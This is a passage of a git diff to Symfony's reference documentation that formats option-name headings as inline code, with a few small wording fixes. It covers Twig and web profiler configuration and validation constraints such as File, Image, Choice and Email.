 The charset used by the template files. In the Symfony Standard edition this
 defaults to the ``UTF-8`` charset.
 
-date
-~~~~
+``date``
+~~~~~~~~
 
 These options define the default values used by the ``date`` filter to format
 date and time values. They are useful to avoid passing the same arguments on
 every ``date`` filter call.
 
-format
-......
+``format``
+..........
 
 **type**: ``string`` **default**: ``F j, Y H:i``
 
 The format used by the ``date`` filter to display values when no specific format
 is passed as argument.
 
-interval_format
-...............
+``interval_format``
+...................
 
 **type**: ``string`` **default**: ``%d days``
 
 The format used by the ``date`` filter to display ``DateInterval`` instances
 when no specific format is passed as argument.
 
-timezone
-........
+``timezone``
+............
 
 **type**: ``string`` **default**: (the value returned by ``date_default_timezone_get()``)
 
 The timezone used when formatting date values with the ``date`` filter and no
 specific timezone is passed as argument.
 
-debug
-~~~~~
+``debug``
+~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``%kernel.debug%``
 
@@ -181,8 +181,8 @@ be used to display their nodes.
 
 .. _config-twig-exception-controller:
 
-exception_controller
-~~~~~~~~~~~~~~~~~~~~
+``exception_controller``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``twig.controller.exception:showAction``
 
@@ -195,23 +195,23 @@ option is advanced. If you need to customize an error page you should use
 the previous link. If you need to perform some behavior on an exception,
 you should add a listener to the ``kernel.exception`` event (see :ref:`dic-tags-kernel-event-listener`).
 
-number_format
-~~~~~~~~~~~~~
+``number_format``
+~~~~~~~~~~~~~~~~~
 
 These options define the default values used by the ``number_format`` filter to
 format numeric values. They are useful to avoid passing the same arguments on
 every ``number_format`` filter call.
 
-decimals
-........
+``decimals``
+............
 
 **type**: ``integer`` **default**: ``0``
 
 The number of decimals used to format numeric values when no specific number is
 passed as argument to the ``number_format`` filter.
 
-decimal_point
-.............
+``decimal_point``
+.................
 
 **type**: ``string`` **default**: ``.``
 
@@ -219,16 +219,16 @@ The character used to separate the decimals from the integer part of numeric
 values when no specific character is passed as argument to the ``number_format``
 filter.
 
-thousands_separator
-...................
+``thousands_separator``
+.......................
 
 **type**: ``string`` **default**: ``,``
 
 The character used to separate every group of thousands in numeric values when
 no specific character is passed as argument to the ``number_format`` filter.
 
-optimizations
-~~~~~~~~~~~~~
+``optimizations``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``int`` **default**: ``-1``
 
@@ -243,8 +243,8 @@ on. Set it to ``0`` to disable all the optimizations. You can even enable or
 disable these optimizations selectively, as explained in the Twig documentation
 about `the optimizer extension`_.
 
-default_path
-~~~~~~~~~~~~
+``default_path``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'%kernel.project_dir%/templates'``
 
@@ -256,8 +256,8 @@ The default directory where Symfony will look for Twig templates.
 
 .. _config-twig-paths:
 
-paths
-~~~~~
+``paths``
+~~~~~~~~~
 
 **type**: ``array`` **default**: ``null``
 
@@ -360,8 +360,8 @@ by Symfony. Besides, it simplifies how you refer to those templates:
 
     @foo_bar/template_name.html.twig
 
-strict_variables
-~~~~~~~~~~~~~~~~
+``strict_variables``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f8c8cc951d5..8772bb225bf 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -38,8 +38,8 @@ Configuration
 * `toolbar`_
 * `verbose`_
 
-toolbar
-~~~~~~~
+``toolbar``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -47,8 +47,8 @@ It enables and disables the toolbar entirely. Usually you set this to ``true``
 in the ``dev`` and ``test`` environments and to ``false`` in the ``prod``
 environment.
 
-position
-~~~~~~~~
+``position``
+~~~~~~~~~~~~
 
 .. deprecated:: 3.4
 
@@ -60,8 +60,8 @@ position
 It defines the location of the browser window where the toolbar is displayed.
 the only allowed values are ``bottom`` and ``top``.
 
-intercept_redirects
-~~~~~~~~~~~~~~~~~~~
+``intercept_redirects``
+~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -74,8 +74,8 @@ redirection and shows you the URL which is going to redirect to, its toolbar,
 and its profiler. Once you've inspected the toolbar/profiler data, you can click
 on the given link to perform the redirect.
 
-excluded_ajax_paths
-~~~~~~~~~~~~~~~~~~~
+``excluded_ajax_paths``
+~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``'^/(app(_[\\w]+)?\\.php/)?_wdt'``
 
@@ -84,8 +84,8 @@ expression. If the URL matches, the request is not displayed in the toolbar. Thi
 is useful when the application makes lots of AJAX requests, or if they are heavy
 and you want to exclude some of them.
 
-verbose
-~~~~~~~
+``verbose``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index bdbb58add3e..418762b214c 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -102,8 +102,8 @@ be blank and to be at least 5 characters long.
 Options
 -------
 
-constraints
-~~~~~~~~~~~
+``constraints``
+~~~~~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index efc56dd965c..713d33fbb15 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -81,13 +81,13 @@ will contain a Business Identifier Code (BIC).
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
-Available Options
------------------
+Options
+-------
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).``
 
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 20dedfe5444..cedbf071534 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -92,8 +92,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be blank.``
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 1331631cb26..08453614edb 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -259,8 +259,8 @@ Options
 
 .. _callback-option:
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string``, ``array`` or ``Closure`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index b186d9245fe..dcf44a844c2 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -102,8 +102,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-schemes
-~~~~~~~
+``schemes``
+~~~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
@@ -125,8 +125,8 @@ Valid values are:
 For more information about the used schemes, see
 `Wikipedia: Issuer identification number (IIN)`_.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Unsupported card type or invalid card number.``
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 65378aec8c3..acb88f36eaa 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -285,8 +285,8 @@ you can pass the class name and the method as an array.
 Available Options
 -----------------
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -294,8 +294,8 @@ A required option (unless `callback`_ is specified) - this is the array
 of options that should be considered in the valid set. The input value
 will be matched against this array.
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string|array|Closure``
 
@@ -305,8 +305,8 @@ to return the choices array. See
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -315,8 +315,8 @@ of a single, scalar value. The constraint will check that each value of
 the input array can be found in the array of valid choices. If even one
 of the input values cannot be found, the validation will fail.
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -325,8 +325,8 @@ to force at least XX number of values to be selected. For example, if
 ``min`` is 3, but the input array only contains 2 valid items, the validation
 will fail.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -335,8 +335,8 @@ to force no more than XX number of values to be selected. For example, if
 ``max`` is 3, but the input array contains 4 valid items, the validation
 will fail.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value you selected is not a valid choice.``
 
@@ -352,8 +352,8 @@ You can use the following parameters in this message:
 | ``{{ value }}``  | The current (invalid) value                    |
 +------------------+------------------------------------------------+
 
-multipleMessage
-~~~~~~~~~~~~~~~
+``multipleMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``One or more of the given values is invalid.``
 
@@ -369,8 +369,8 @@ You can use the following parameters in this message:
 | ``{{ value }}``  | The current (invalid) value                    |
 +------------------+------------------------------------------------+
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.``
 
@@ -385,8 +385,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}``  | The lower limit of choices                     |
 +------------------+------------------------------------------------+
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.``
 
@@ -401,8 +401,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}``  | The upper limit of choices                     |
 +------------------+------------------------------------------------+
 
-strict
-~~~~~~
+``strict``
+~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 9984e3885e0..a296f68dc3e 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -290,27 +290,27 @@ the ``NotBlank`` constraint will still be applied (since it is wrapped in
 Options
 -------
 
-allowExtraFields
-~~~~~~~~~~~~~~~~
+``allowExtraFields``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: false
 
 If this option is set to ``false`` and the underlying collection contains
 one or more elements that are not included in the `fields`_ option, a validation
-error will be returned. If set to ``true``, extra fields are ok.
+error will be returned. If set to ``true``, extra fields are OK.
 
-allowMissingFields
-~~~~~~~~~~~~~~~~~~
+``allowMissingFields``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: false
 
 If this option is set to ``false`` and one or more fields from the `fields`_
 option are not present in the underlying collection, a validation error
-will be returned. If set to ``true``, it's ok if some fields in the `fields`_
+will be returned. If set to ``true``, it's OK if some fields in the `fields`_
 option are not present in the underlying collection.
 
-extraFieldsMessage
-~~~~~~~~~~~~~~~~~~
+``extraFieldsMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This field was not expected.``
 
@@ -325,8 +325,8 @@ You can use the following parameters in this message:
 | ``{{ field }}``  | The key of the extra field detected            |
 +------------------+------------------------------------------------+
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -336,8 +336,8 @@ be executed against that element of the collection.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-missingFieldsMessage
-~~~~~~~~~~~~~~~~~~~~
+``missingFieldsMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This field is missing.``
 
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 3371d8cf278..cb1dc2c158c 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -106,8 +106,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -116,8 +116,8 @@ collection elements count is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -126,8 +126,8 @@ collection elements count is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.``
 
@@ -144,8 +144,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}``  | The lower limit                                |
 +------------------+------------------------------------------------+
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.``
 
@@ -162,8 +162,8 @@ You can use the following parameters in this message:
 | ``{{ limit }}``  | The upper limit                                |
 +------------------+------------------------------------------------+
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.``
 
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 5f33ced3ce4..7f87aa54089 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -81,8 +81,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid country.``
 
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 33b635a85c9..397f8d76e54 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -84,8 +84,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid currency.``
 
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 3fb06f7944b..51744cbbc60 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -83,8 +83,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid date.``
 
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 777b7e083bb..18a0621b335 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -92,8 +92,8 @@ This option allows to validate a custom date format. See
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid datetime.``
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 9158966f16e..b6b6fb453ef 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -96,8 +96,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-strict
-~~~~~~
+``strict``
+~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -105,8 +105,8 @@ When false, the email will be validated against a simple regular expression.
 If true, then the `egulias/email-validator`_ library is required to perform
 an RFC compliant validation.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid email address.``
 
@@ -120,8 +120,8 @@ You can use the following parameters in this message:
 | ``{{ value }}``  | The current (invalid) value                    |
 +------------------+------------------------------------------------+
 
-checkMX
-~~~~~~~
+``checkMX``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -133,8 +133,8 @@ check the validity of the MX record of the host of the given email.
     This option is not reliable because it depends on the network conditions
     and some valid servers refuse to respond to those requests.
 
-checkHost
-~~~~~~~~~
+``checkHost``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index fc076f7a0cf..d68e074647b 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -114,8 +114,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be equal to {{ compared_value }}.``
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index a02dc3f4926..b4d0b865d60 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -221,13 +221,13 @@ For more information about the expression and what variables are available
 to you, see the :ref:`expression <reference-constraint-expression-option>`
 option details below.
 
-Available Options
------------------
+Options
+-------
 
 .. _reference-constraint-expression-option:
 
-expression
-~~~~~~~~~~
+``expression``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -248,8 +248,8 @@ in your expression:
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 4ee5015e7e2..87de26e80e0 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -161,8 +161,8 @@ have been specified.
 Options
 -------
 
-maxSize
-~~~~~~~
+``maxSize``
+~~~~~~~~~~~
 
 **type**: ``mixed``
 
@@ -170,38 +170,38 @@ If set, the size of the underlying file must be below this file size in
 order to be valid. The size of the file can be given in one of the following
 formats:
 
-+--------+-----------+-----------------+------+
-| Suffix | Unit Name |      value      | e.g. |
-+========+===========+=================+======+
-|        | byte      |          1 byte | 4096 |
-+--------+-----------+-----------------+------+
-| k      | kilobyte  |     1,000 bytes | 200k |
-+--------+-----------+-----------------+------+
-| M      | megabyte  | 1,000,000 bytes |   2M |
-+--------+-----------+-----------------+------+
-| Ki     | kibibyte  |     1,024 bytes | 32Ki |
-+--------+-----------+-----------------+------+
-| Mi     | mebibyte  | 1,048,576 bytes |  8Mi |
-+--------+-----------+-----------------+------+
++--------+-----------+-----------------+----------+
+| Suffix | Unit Name |      value      | e.g.     |
++========+===========+=================+==========+
+|        | byte      |          1 byte | ``4096`` |
++--------+-----------+-----------------+----------+
+| k      | kilobyte  |     1,000 bytes | ``200k`` |
++--------+-----------+-----------------+----------+
+| M      | megabyte  | 1,000,000 bytes |   ``2M`` |
++--------+-----------+-----------------+----------+
+| Ki     | kibibyte  |     1,024 bytes | ``32Ki`` |
++--------+-----------+-----------------+----------+
+| Mi     | mebibyte  | 1,048,576 bytes |  ``8Mi`` |
++--------+-----------+-----------------+----------+
 
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-binaryFormat
-~~~~~~~~~~~~
+``binaryFormat``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``null``
 
 When ``true``, the sizes will be displayed in messages with binary-prefixed
 units (KiB, MiB). When ``false``, the sizes will be displayed with SI-prefixed
-units (kB, MB). When ``null``, then the binaryFormat will be guessed from
+units (kB, MB). When ``null``, the ``binaryFormat`` will be guessed from
 the value defined in the ``maxSize`` option.
 
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string``
 
@@ -211,8 +211,8 @@ of given mime types (if an array).
 
 You can find a list of existing mime types on the `IANA website`_.
 
-maxSizeMessage
-~~~~~~~~~~~~~~
+``maxSizeMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -232,8 +232,8 @@ You can use the following parameters in this message:
 | ``{{ file }}``   | Absolute file path                             |
 +------------------+------------------------------------------------+
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
@@ -252,8 +252,8 @@ You can use the following parameters in this message:
 | ``{{ file }}``  | Absolute file path                     |
 +-----------------+----------------------------------------+
 
-disallowEmptyMessage
-~~~~~~~~~~~~~~~~~~~~
+``disallowEmptyMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``An empty file is not allowed.``
 
@@ -268,8 +268,8 @@ You can use the following parameters in this message:
 | ``{{ file }}`` | Absolute file path |
 +----------------+--------------------+
 
-notFoundMessage
-~~~~~~~~~~~~~~~
+``notFoundMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be found.``
 
@@ -285,8 +285,8 @@ You can use the following parameters in this message:
 | ``{{ file }}`` | Absolute file path |
 +----------------+--------------------+
 
-notReadableMessage
-~~~~~~~~~~~~~~~~~~
+``notReadableMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is not readable.``
 
@@ -301,8 +301,8 @@ You can use the following parameters in this message:
 | ``{{ file }}`` | Absolute file path |
 +----------------+--------------------+
 
-uploadIniSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadIniSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -319,8 +319,8 @@ You can use the following parameters in this message:
 | ``{{ suffix }}`` | Suffix for the used file size unit (see above) |
 +------------------+------------------------------------------------+
 
-uploadFormSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadFormSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large.``
 
@@ -329,8 +329,8 @@ by the HTML file input field.
 
 This message has no parameters.
 
-uploadPartialErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadPartialErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file was only partially uploaded.``
 
@@ -338,8 +338,8 @@ The message that is displayed if the uploaded file is only partially uploaded.
 
 This message has no parameters.
 
-uploadNoFileErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoFileErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No file was uploaded.``
 
@@ -347,18 +347,18 @@ The message that is displayed if no file was uploaded.
 
 This message has no parameters.
 
-uploadNoTmpDirErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoTmpDirErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.``
 
-The message that is displayed if the php.ini setting ``upload_tmp_dir`` is
+The message that is displayed if the ``php.ini`` setting ``upload_tmp_dir`` is
 missing.
 
 This message has no parameters.
 
-uploadCantWriteErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadCantWriteErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Cannot write temporary file to disk.``
 
@@ -367,8 +367,8 @@ temporary folder.
 
 This message has no parameters.
 
-uploadExtensionErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadExtensionErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.``
 
@@ -377,8 +377,8 @@ fail.
 
 This message has no parameters.
 
-uploadErrorMessage
-~~~~~~~~~~~~~~~~~~
+``uploadErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be uploaded.``
 
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 478c06fb1b4..faee4be69d5 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -294,8 +294,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be greater than {{ compared_value }}.``
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index f23567771b3..2b595c40089 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -293,8 +293,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be greater than or equal to {{ compared_value }}.``
 
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index cc074fb327d..d7df4d9ea9a 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -1,4 +1,4 @@
-Iban
+IBAN
 ====
 
 This constraint is used to ensure that a bank account number has the proper
@@ -21,7 +21,7 @@ borders with a reduced risk of propagating transcription errors.
 Basic Usage
 -----------
 
-To use the Iban validator, apply it to a property on an object that
+To use the IBAN validator, apply it to a property on an object that
 will contain an International Bank Account Number.
 
 .. configuration-block::
@@ -93,17 +93,17 @@ will contain an International Bank Account Number.
 
 .. include:: /reference/constraints/_empty-values-are-valid.rst.inc
 
-Available Options
------------------
+Options
+-------
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid International Bank Account Number (IBAN).``
 
-The default message supplied when the value does not pass the Iban check.
+The default message supplied when the value does not pass the IBAN check.
 
 You can use the following parameters in this message:
 
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index dd1e6bb96f7..200b4cb0632 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -117,8 +117,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be identical to {{ compared_value_type }} {{ compared_value }}.``
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index d3f2f434a0f..75df3f83566 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -229,52 +229,52 @@ This constraint shares all of its options with the :doc:`File </reference/constr
 constraint. It does, however, modify two of the default option values and
 add several other options.
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string`` **default**: ``image/*``
 
 You can find a list of existing image mime types on the `IANA website`_.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-minWidth
-~~~~~~~~
+``minWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be greater than or equal to this
 value in pixels.
 
-maxWidth
-~~~~~~~~
+``maxWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be less than or equal to this
 value in pixels.
 
-minHeight
-~~~~~~~~~
+``minHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be greater than or equal to this
 value in pixels.
 
-maxHeight
-~~~~~~~~~
+``maxHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be less than or equal to this
 value in pixels.
 
-minPixels
-~~~~~~~~~
+``minPixels``
+~~~~~~~~~~~~~
 
 .. versionadded:: 3.4
 
@@ -285,8 +285,8 @@ minPixels
 If set, the amount of pixels of the image file must be greater than or equal to this
 value.
 
-maxPixels
-~~~~~~~~~
+``maxPixels``
+~~~~~~~~~~~~~
 
 .. versionadded:: 3.4
 
@@ -297,24 +297,24 @@ maxPixels
 If set, the amount of pixels of the image file must be less than or equal to this
 value.
 
-maxRatio
-~~~~~~~~
+``maxRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
-minRatio
-~~~~~~~~
+``minRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
-allowSquare
-~~~~~~~~~~~
+``allowSquare``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -322,22 +322,22 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
-allowLandscape
-~~~~~~~~~~~~~~
+``allowLandscape``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be landscape oriented.
 
-allowPortrait
-~~~~~~~~~~~~~
+``allowPortrait``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be portrait oriented.
 
-detectCorrupted
-~~~~~~~~~~~~~~~
+``detectCorrupted``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
